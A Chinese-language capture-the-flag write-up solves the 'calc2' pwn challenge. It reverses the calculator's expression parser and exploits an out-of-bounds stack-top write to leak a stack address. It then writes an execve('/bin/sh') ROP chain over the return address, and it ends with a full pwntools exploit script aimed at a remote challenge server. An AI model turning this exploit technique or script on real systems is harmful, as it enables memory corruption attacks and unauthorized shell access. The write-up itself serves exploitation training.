calc2
首先,检查一下程序的保护机制
然后,我们用IDA分析一下,发现libc被静态编译进了程序中,又由于没有开启PIE,,所以,我们就直接可以获得需要的函数的地址。然而,我们发现,system、execve这些函数都没有,有没有one_gadget,那么我们只能通过系统调用来构造ROP执行/bin/sh来getshell
发现,该程序是一个四则运算表达式计算程序
其中,我们需要重点关注的就是a2[v4+1] = v9这句代码,可能造成下标越界。
我们仔细分析程序,然后用C语言还原这个计算过程
- #include <stdio.h>
- #include <string.h>
- #include <stdlib.h>
- //栈
- struct Stack {
- int top;
- int data[100];
- };
- void eval(Stack *num_stack,char op) {
- switch (op) {
- case '+':
- num_stack->data[num_stack->top - 1] += num_stack->data[num_stack->top];
- break;
- case '-':
- num_stack->data[num_stack->top - 1] -= num_stack->data[num_stack->top];
- break;
- case '*':
- num_stack->data[num_stack->top - 1] *= num_stack->data[num_stack->top];
- break;
- case '/':
- num_stack->data[num_stack->top - 1] /= num_stack->data[num_stack->top];
- break;
- }
- //出栈一个无用数据
- num_stack->top--;
- }
- int parse_expr(char *in,Stack *num_stack) {
- //存放运算符的栈
- Stack op_stack;
- memset(&op_stack,0,sizeof(Stack));
- char *p = in;
- for (int i=0;; ++i) {
- char ch = in[i];
- //遇到非数字,判定为运算符
- if ( unsigned(ch - '0') > 9) {
- int len = i + in - p;
- char *tmp = (char *)malloc(len+1);
- memcpy(tmp,p,len);
- tmp[len] = '\0';
- if ( !strcmp(tmp, "0") ) {
- puts("prevent division by zero");
- fflush(stdout);
- return 0;
- }
- int x = atoi(tmp);
- //操作数入栈
- if (x > 0) {
- num_stack->top++;
- num_stack->data[num_stack->top] = x;
- }
- //表达式错误,不能有连续的多个运算符
- if (ch && in[i+1] - '0' > 9) {
- puts("expression error!");
- fflush(stdout);
- return 0;
- }
- p = in + i + 1;
- //查看栈顶运算符
- char op = op_stack.data[op_stack.top];
- if (op) {
- //与当前运算符做比较
- switch (ch) {
- case '%':
- case '*':
- case '/':
- if ( op != '+' && op != '-' ) {
- eval(num_stack, op);
- op_stack.data[op_stack.top] = ch;
- } else {
- op_stack.data[++op_stack.top] = ch;
- }
- break;
- case '+':
- case '-':
- eval(num_stack, op);
- op_stack.data[op_stack.top] = ch;
- break;
- default:
- eval(num_stack, op_stack.data[op_stack.top--]);
- break;
- }
- } else {
- op_stack.data[op_stack.top] = ch;
- }
- if (!ch) {
- break;
- }
- }
- }
- while (op_stack.top >= 0) {
- eval(num_stack, op_stack.data[op_stack.top--]);
- }
- return 1;
- }
- int main() {
- //存放操作数的栈
- Stack num_stack;
- num_stack.top = -1;
- memset(num_stack.data,0,sizeof(int) * 100);
- char expr[0x400] = {0};
- while (true) {
- scanf("%s",expr);
- if (parse_expr(expr,&num_stack)) {
- printf("%d\n",num_stack.data[num_stack.top]);
- fflush(stdout);
- }
- }
- }
再对比IDA,中,我们要是能修改到a2,也就是top指针,那么就能实现任意地址写
再看看这个程序的逻辑,结合我们还原的源代码,能够修改到top的值的关键地方在eval函数
结合源代码,我们看看
如果当num_stack->top为0时,就可以造成data数据下标越界,什么时候num_stack->top为0呢?不就是num_stack里只有一个操作数的时候吗。如果,我们输入的表达式为+123,那么,由于该程序判断时的缺陷,表达式的结尾的\0也被当做符号处理,因此,程序先是遇到+号,+号入运算符栈,然后程序遇到123,入num_stack,接下来,程序遇到\0结尾符,于是会调用eval函数,而此时num_stack->top = 0,导致了num_stack->data[-1] += num_stack[num_stack->top],使得num_stack的top变成了123 + 1 = 124,接下来,结尾处又执行了,综上,+123这个表达式使得num_stack的top变成了123。为了便于观察,我们可以加入这样的代码
然后,我们输入+123+456
由此,我们可以用IDA调试,找到calc函数的返回地址的栈位置,便可以修改calc的返回地址,构造ROP链。为了构造ROP,我们需要一些gadget,我们可以使用ROPgadgets工具来查找ROPgadget --binary calc2 --only 'pop|ret' | grep 'eax'
- #pop eax ; ret
- pop_eax = 0x0805c34b
- #pop ebx ; ret
- pop_ebx = 0x080481d1
- #pop ecx ; pop ebx ; ret
- pop_ecx = 0x080701d1
- #pop edx ; ret
- pop_edx = 0x080701aa
- #int 0x80
- int_80 = 0x08049a21
- #通过系统调用来执行/bin/sh
- rop = [pop_eax,0x0b,
- pop_ecx,0,0,
- pop_edx,0,
- int_80,
- u32('/bin'),
- u32('/sh\x00')]
为了得到/bin/sh字符串的地址,我们把/bin/sh到时候存到栈里,然后,我们需要泄露一些栈地址,就能得到/bin/sh字符串地址
我们可以借助输出结果的地方来泄露地址
其中,v1正是num_stack的栈顶指针,v2是num_stack的数据区
之前我们知道了,+123,可以使得num_stack的栈顶指针变为123,那么就能泄露偏移123*4字节处的数据,那么要泄露栈地址,我们只需算出main的ebp的偏移,即可泄露
我们看到,当前存放main的ebp的栈地址为0xFFFEA1C8
而v2的地址为0xFFFE9C2C,计算一下(0xFFFEA1C8 - 0xFFFE9C2C) / 4 = 0x167
也就是359,因此,我们只需要输入+360再回车,即可泄露出main函数的ebp,然后,就能计算出/bin/sh字符串在栈里的地址,需要注意的是,泄露出来的数据是负数,因为%d处理的是有符号数,因此,我们只需用0x100000000 + x即可得到原来的数据
- sh.recvuntil('\n')
- #泄露main的ebp
- sh.sendline('+360')
- #由于泄露出来是一个负数的形式,因此我们将其加上0x100000000即可
- main_ebp = int(sh.recvuntil('\n',drop=True))
- main_ebp = 0x100000000 + main_ebp
- #获得/bin/sh字符串在栈里的位置
- rop[4] = main_ebp - 0x20 + 9 * 4
- print hex(main_ebp)
现在,我们得到了地址,然后就构造好了ROP链,我们需要依次把ROP链写入到calc的返回地址的栈后面
经过一顿测试,发现,我们不能靠这里来写ROP,因为后续用调用了eval函数,对数据又做了修改吗,因此,我们应该依靠eval函数,因为eval函数里对a1数组做了最后的修改。
eval函数
由于是a1[top-1] += a1[top],因此,本来,我们走360开始就是calc函数的返回地址处,我们向后偏移1,也就是从361开始,这样,不会影响前面的canary值。并且,由于使用的是+=,我们需要先泄露原来a1[top]处的数据,再算出差值,然后提交
- #开始写360处就是parse_expr的返回地址,我们写ROP
- for i in range(0,len(rop)):
- payload = '+' + str(361 + i)
- sh.sendline(payload)
- #先泄露原来的值
- num = int(sh.recvuntil('\n',drop=True))
- #计算出差值
- offset = rop[i] - num
- print hex(rop[i])
- #如果小于零,我们需要去掉+号,直接使用数字前面的负号
- if offset<0:
- payload_ = payload + str(offset)
- else:
- payload_ = payload + '+' + str(offset)
- #发送数据
- sh.sendline(payload_)
- #我们还需检验一下是否正确的写入了对的数据
- value = int(sh.recv(1024))
- if value < 0:
- #转为原始数据
- value += 0x100000000
- while value!=rop[i]:
- print "current value is %x" % (value)
- offset = rop[i] - value
- if offset<0:
- sh.sendline(payload + str(offset))
- else:
- sh.sendline(payload + '+' + str(offset))
- value = int(sh.recv(1024))
- if value < 0:
- value += 0x100000000
这样操作以后,ROP写入成功,接下来,我们发送一个非数字和运算符,使得程序退出calc函数,执行ROP链。
- #getshell
- sh.sendline('a')
本题的难点在于找到漏洞,以及分析漏洞,需要一定的时间。
综上,我们的exp脚本如下
- #coding:utf8
- from pwn import *
- #pop eax ; ret
- pop_eax = 0x0805c34b
- #pop ebx ; ret
- pop_ebx = 0x080481d1
- #pop ecx ; pop ebx ; ret
- pop_ecx = 0x080701d1
- #pop edx ; ret
- pop_edx = 0x080701aa
- #int 0x80
- int_80 = 0x08049a21
- #通过系统调用来执行/bin/sh
- rop = [pop_eax,0x0b,
- pop_ecx,0,0,
- pop_edx,0,
- int_80,
- u32('/bin'),
- u32('/sh\x00')]
- #sh = process('./pwnh37')
- sh = remote('111.198.29.45',39005)
- sh.recvuntil('\n')
- #泄露main的ebp
- sh.sendline('+360')
- #由于泄露出来是一个负数的形式,因此我们将其加上0x100000000即可
- main_ebp = int(sh.recvuntil('\n',drop=True))
- main_ebp = 0x100000000 + main_ebp
- #获得/bin/sh字符串在栈里的位置
- rop[4] = main_ebp - 0x20 + 9 * 4
- print hex(main_ebp)
- #开始写360处就是parse_expr的返回地址,我们写ROP
- for i in range(0,len(rop)):
- payload = '+' + str(361 + i)
- sh.sendline(payload)
- #先泄露原来的值
- num = int(sh.recvuntil('\n',drop=True))
- #计算出差值
- offset = rop[i] - num
- print hex(rop[i])
- #如果小于零,我们需要去掉+号,直接使用数字前面的负号
- if offset<0:
- payload_ = payload + str(offset)
- else:
- payload_ = payload + '+' + str(offset)
- #发送数据
- sh.sendline(payload_)
- #我们还需检验一下是否正确的写入了对的数据
- value = int(sh.recv(1024))
- if value < 0:
- #转为原始数据
- value += 0x100000000
- while value!=rop[i]:
- print "current value is %x" % (value)
- offset = rop[i] - value
- if offset<0:
- sh.sendline(payload + str(offset))
- else:
- sh.sendline(payload + '+' + str(offset))
- value = int(sh.recv(1024))
- if value < 0:
- value += 0x100000000
- #getshell
- sh.sendline('a')
- sh.interactive()